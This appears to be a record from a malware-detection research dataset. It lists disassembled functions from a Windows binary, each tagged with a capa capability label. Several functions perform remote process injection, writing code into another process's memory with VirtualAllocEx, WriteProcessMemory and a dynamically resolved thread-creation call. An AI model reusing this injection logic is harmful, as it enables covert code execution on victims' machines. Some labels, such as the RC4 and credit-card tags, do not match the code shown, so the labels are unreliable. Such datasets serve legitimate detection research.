joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400570f0
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
cmp edx, 0x40
jne 0x1400571d7
lea rax, [0x140046a60]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rcx + 0x18]
mov rsi, qword [rax + 0x10]
lea ecx, [rdx - 0x20]
call fcn.140109fcc
mov rdi, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140057155
lea rax, vtable.bind_event_cpp__int__class_rg_n48088::rg_n50945__int_____thiscall_rg_n48088::rg_n50945::__struct_HELE______ptr64__int__int____ptr64__.0
mov qword [rdi], rax
mov qword [rdi + 8], rbx
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rdi + 0x10], xmm0
jmp 0x140057157
xor edi, edi
mov ecx, 0x128
call fcn.140109fcc
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400571a9
lea rax, vtable.xc_event.0
mov qword [rbx], rax
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
lea rcx, [rbx + 0x20]
mov byte [rcx], 0
mov dword [rbx + 8], 0xffffffff
lea r8, str.rg_n50945::OnProgressBarChange
mov edx, 0x104
call fcn.140113bf0
jmp 0x1400571ab
xor ebx, ebx
mov qword [rbx + 0x10], rdi
mov r8, rbx
mov edx, 0x40
mov rcx, rsi
call sub.XCGUI.dll__XEle_RemoveEvent
mov rax, qword [rbx]
mov rcx, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [rax]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp fcn.140052000
Function at 0x140074f60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.1400799d0
mov r8, qword [rbx]
mov rcx, rbx
mov rsi, rax
call qword [r8 + 0x28]
cmp rsi, rax
je 0x140074fbd
mov r8d, dword [rsi + 0x18]
cmp dword [rax + 0x18], r8d
jne 0x140075156
mov r8, qword [rsi + 0x10]
cmp qword [rax + 0x10], r8
jne 0x140075156
mov rdx, qword [rsi + 8]
mov rcx, qword [rax + 8]
call fcn.140110dc0
test eax, eax
jne 0x140075156
movzx eax, byte [rbx + 8]
xor al, byte [rdi + 8]
test al, 1
jne 0x140075156
mov rax, qword [rbx + 0x10]
cmp qword [rdi + 0x10], rax
jne 0x140075156
mov eax, dword [rbx + 0x18]
cmp dword [rdi + 0x18], eax
jne 0x140075156
lea rcx, [rbx + 0x20]
call fcn.140100bf0
lea rcx, [rdi + 0x20]
mov rsi, rax
call fcn.140100bf0
sub rsi, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x140075013
add rax, 2
test ecx, ecx
jne 0x140075000
test edx, edx
jne 0x140075156
lea rcx, [rbx + 0x78]
call fcn.140100bf0
lea rcx, [rdi + 0x78]
mov rsi, rax
call fcn.140100bf0
sub rsi, rax
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x140075046
add rax, 2
test ecx, ecx
jne 0x140075033
test edx, edx
jne 0x140075156
lea rdx, [rbx + 0xd0]
lea rcx, [rdi + 0xd0]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x128]
lea rcx, [rdi + 0x128]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x180]
lea rcx, [rdi + 0x180]
call fcn.140014ff0
test eax, eax
jne 0x140075156
mov rax, qword [rbx + 0x1d8]
cmp qword [rdi + 0x1d8], rax
jne 0x140075156
lea rdx, [rbx + 0x1e0]
lea rcx, [rdi + 0x1e0]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x238]
lea rcx, [rdi + 0x238]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x290]
lea rcx, [rdi + 0x290]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x2e8]
lea rcx, [rdi + 0x2e8]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x340]
lea rcx, [rdi + 0x340]
call fcn.140014ff0
test eax, eax
jne 0x140075156
lea rdx, [rbx + 0x398]
lea rcx, [rdi + 0x398]
call fcn.140014ff0
test eax, eax
jne 0x140075156
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140075380
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.140079cd0
mov r8, qword [rbx]
mov rcx, rbx
mov rsi, rax
call qword [r8 + 0x28]
cmp rsi, rax
je 0x1400753dd
mov r8d, dword [rsi + 0x18]
cmp dword [rax + 0x18], r8d
jne 0x1400754f6
mov r8, qword [rsi + 0x10]
cmp qword [rax + 0x10], r8
jne 0x1400754f6
mov rdx, qword [rsi + 8]
mov rcx, qword [rax + 8]
call fcn.140110dc0
test eax, eax
jne 0x1400754f6
movzx eax, byte [rbx + 8]
xor al, byte [rdi + 8]
test al, 1
jne 0x1400754f6
mov rax, qword [rbx + 0x10]
cmp qword [rdi + 0x10], rax
jne 0x1400754f6
lea rcx, [rbx + 0x18]
call fcn.140100bf0
lea rcx, [rdi + 0x18]
mov rsi, rax
call fcn.140100bf0
sub rsi, rax
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x140075425
add rax, 2
test ecx, ecx
jne 0x140075412
test edx, edx
jne 0x1400754f6
lea rcx, [rbx + 0x70]
call fcn.140100bf0
lea rcx, [rdi + 0x70]
mov rsi, rax
call fcn.140100bf0
sub rsi, rax
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x140075458
add rax, 2
test ecx, ecx
jne 0x140075445
test edx, edx
jne 0x1400754f6
lea rcx, [rbx + 0xc8]
call fcn.140100bf0
lea rcx, [rdi + 0xc8]
mov rsi, rax
call fcn.140100bf0
sub rsi, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x140075493
add rax, 2
test ecx, ecx
jne 0x140075480
test edx, edx
jne 0x1400754f6
mov eax, dword [rbx + 0x120]
cmp dword [rdi + 0x120], eax
jne 0x1400754f6
lea rdx, [rbx + 0x128]
lea rcx, [rdi + 0x128]
call fcn.140014ff0
test eax, eax
jne 0x1400754f6
lea rdx, [rbx + 0x180]
lea rcx, [rdi + 0x180]
call fcn.140014ff0
test eax, eax
jne 0x1400754f6
mov eax, dword [rbx + 0x1d8]
cmp dword [rdi + 0x1d8], eax
jne 0x1400754f6
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14007c670
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.140070ec0
mov r8, qword [rbx]
mov rcx, rbx
mov rsi, rax
call qword [r8 + 0x28]
cmp rsi, rax
je 0x14007c6cd
mov r8d, dword [rsi + 0x18]
cmp dword [rax + 0x18], r8d
jne 0x14007c772
mov r8, qword [rsi + 0x10]
cmp qword [rax + 0x10], r8
jne 0x14007c772
mov rdx, qword [rsi + 8]
mov rcx, qword [rax + 8]
call fcn.140110dc0
test eax, eax
jne 0x14007c772
movzx eax, byte [rbx + 8]
xor al, byte [rdi + 8]
test al, 1
jne 0x14007c772
mov rax, qword [rbx + 0x10]
cmp qword [rdi + 0x10], rax
jne 0x14007c772
lea rcx, [rbx + 0x18]
call fcn.140100bf0
lea rcx, [rdi + 0x18]
mov rsi, rax
call fcn.140100bf0
sub rsi, rax
movzx edx, word [rax]
movzx ecx, word [rax + rsi]
sub edx, ecx
jne 0x14007c715
add rax, 2
test ecx, ecx
jne 0x14007c702
test edx, edx
jne 0x14007c772
mov eax, dword [rbx + 0x70]
cmp dword [rdi + 0x70], eax
jne 0x14007c772
movzx eax, word [rbx + 0x74]
cmp word [rdi + 0x74], ax
jne 0x14007c772
mov rax, qword [rbx + 0x78]
cmp qword [rdi + 0x78], rax
jne 0x14007c772
mov eax, dword [rbx + 0x80]
cmp dword [rdi + 0x80], eax
jne 0x14007c772
mov eax, dword [rbx + 0x84]
cmp dword [rdi + 0x84], eax
jne 0x14007c772
mov eax, dword [rbx + 0x88]
cmp dword [rdi + 0x88], eax
jne 0x14007c772
lea eax, [rdx + 1]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140086c80
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x28
call fcn.140100bf0
mov rcx, rax
add rsp, 0x28
jmp 0x1401086a0
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x270
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x1401086ca
xor eax, eax
jmp 0x14010873d
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140108730
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x5c]
call fcn.140113c90
test eax, eax
jne 0x14010871d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x14010873d
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1401086f6
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x270
pop rdi
ret

Function at 0x140086cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
test ecx, ecx
jle 0x140086d03
lea rax, [rsp + 0x40]
movsxd r8, r8d
movsxd rcx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140086d03
mov eax, dword [rsp + 0x40]
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret
Function at 0x140086d10
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x38
test ecx, ecx
jg 0x140086d1f
xor eax, eax
add rsp, 0x38
ret
movsxd r8, edx
mov r9d, 0x1000
xor edx, edx
movsxd rcx, ecx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x38
ret

Function at 0x140087370
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x140106450
mov qword [rsp + 8], rcx
sub rsp, 0x38
xor eax, eax
test eax, eax
je 0x140106466
xor eax, eax
jmp 0x1401065af
cmp qword [rsp + 0x40], 0
jne 0x140106475
xor eax, eax
jmp 0x1401065af
cmp qword [0x1403b7b78], 0
jne 0x1401064a3
lea rcx, [0x140153ea8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140153e90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403b7b78], rax
mov rax, qword [rsp + 0x40]
mov qword [0x1403b7b70], rax
mov dword [rsp + 0x20], 0
lea rcx, [0x140153eb8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
lea rdx, [0x140153ec8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6a4b], rax
lea rdx, [0x140153ed8]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6aad], rax
lea rdx, [0x140153ef0]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b0d], rax
lea rdx, [0x140153f08]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b47], rax
lea rdx, [0x140153f28]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b73], rax
lea rdx, [0x140153f38]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6b84], rax
lea rdx, [0x140153f48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6be7], rax
lea rdx, [0x140153f58]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6c2b], rax
lea rdx, [0x140153f68]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1403a6c7a], rax
mov eax, 1
add rsp, 0x38
ret
Function at 0x140087390
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x1401078f0
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xc8
lea rax, [rsp + 0x88]
lea rcx, [0x1403a6a30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x34
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140107959
xor eax, eax
jmp 0x140107aef
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x8f], eax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x96], eax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x9d], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb3], rax
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x34
lea r8, [rsp + 0x88]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1403b7b70]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1403b7b78]
test eax, eax
je 0x140107a5c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140107aef
cmp qword [rsp + 0x68], 0
jne 0x140107a83
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140107aef
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
sub rax, 0x10
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, rax
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0xc8
pop rdi
pop rsi
ret
Function at 0x1400874c0
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140107700
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x118
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x90]
lea rcx, [0x1403a6b30]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x75
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140107769
xor eax, eax
jmp 0x1401078da
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x130]
mov dword [rsp + 0xa1], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xfc], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x75
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1403b7b70]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1403b7b78]
test eax, eax
je 0x140107847
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401078da
cmp qword [rsp + 0x68], 0
jne 0x14010786e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401078da
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x70]
sub rax, 8
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, rax
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0x118
pop rdi
pop rsi
ret
Function at 0x1400874d0
Capabilities:
Execute shellcode via indirect call

Disassembly:
movsxd r8, r8d
movsxd rcx, ecx
jmp 0x140107e90
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xe8
cmp qword [rsp + 0x110], 0
jne 0x140107ebf
xor eax, eax
jmp 0x1401080c3
lea rax, [rsp + 0x90]
lea rcx, [0x1403a6bb0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x50
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140107f12
xor eax, eax
jmp 0x1401080c3
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x96], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0xaa], rax
mov eax, dword [rsp + 0x118]
mov dword [rsp + 0xb5], eax
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0xbc], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd7], rax
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x50
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1403b7b70]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1403b7b78]
test eax, eax
je 0x140108037
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401080c3
cmp qword [rsp + 0x68], 0
jne 0x14010805e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401080c3
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
add rsp, 0xe8
pop rdi
pop rsi
ret
Function at 0x1400874e0
Capabilities:
Execute shellcode via indirect call

Disassembly:
movsxd r8, r8d
movsxd rcx, ecx
jmp 0x1401080d0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xc8
cmp qword [rsp + 0xe8], 0
jne 0x1401080ff
xor eax, eax
jmp 0x1401082ab
lea rax, [rsp + 0x80]
lea rcx, [0x1403a6c00]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x3a
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140108152
xor eax, eax
jmp 0x1401082ab
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x86], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x9a], rax
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0xa5], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x3a
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1403b7b70]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1403b7b78]
test eax, eax
je 0x140108249
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401082ab
cmp qword [rsp + 0x68], 0
jne 0x140108270
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1401082ab
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1403b7b70]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 1
add rsp, 0xc8
pop rdi
pop rsi
ret
Function at 0x1400f9ae0
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1d0
mov rax, qword [0x1403a6cc8]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rax, qword [rcx]
mov rbx, rcx
test rax, rax
jne 0x1400f9b23
mov ecx, 0x101
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
test eax, eax
sete dl
mov qword [rbx], rdx
mov rax, rdx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.14010a630
add rsp, 0x1d0
pop rbx
ret

Function at 0x1400f9c30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rsi, r9
mov qword [r8 + 0x28], rbx
mov rbp, r8
mov rdi, rdx
test rdx, rdx
jne 0x1400f9c60
lea eax, [rdx + 1]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rcx]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r15
call qword [rax]
movzx edx, di
mov r8, rsi
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
je 0x1400f9cda
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x1400f9cda
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x1400f9cd1
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
mov qword [rbp + 0x28], rbx
mov r8d, eax
mov rcx, rbp
call fcn.1400fcfd0
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r15, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400f9dd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rdi, r8
mov ebx, edx
test r8, r8
je 0x1400f9ef7
mov rax, qword [rcx]
call qword [rax]
mov rsi, rax
test ebx, ebx
je 0x1400f9e37
cmp ebx, 3
je 0x1400f9e37
sub ebx, 1
je 0x1400f9e26
cmp ebx, 1
jne 0x1400f9ef7
movzx edx, di
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadIconW]
jmp 0x1400f9ef9
movzx edx, di
mov rcx, rsi
call qword [sym.imp.USER32.dll_LoadCursorW]
jmp 0x1400f9ef9
movzx edx, di
mov r8d, 0xa
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
je 0x1400f9ef7
xor edi, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rax, rax
je 0x1400f9ef7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x1400f9ec6
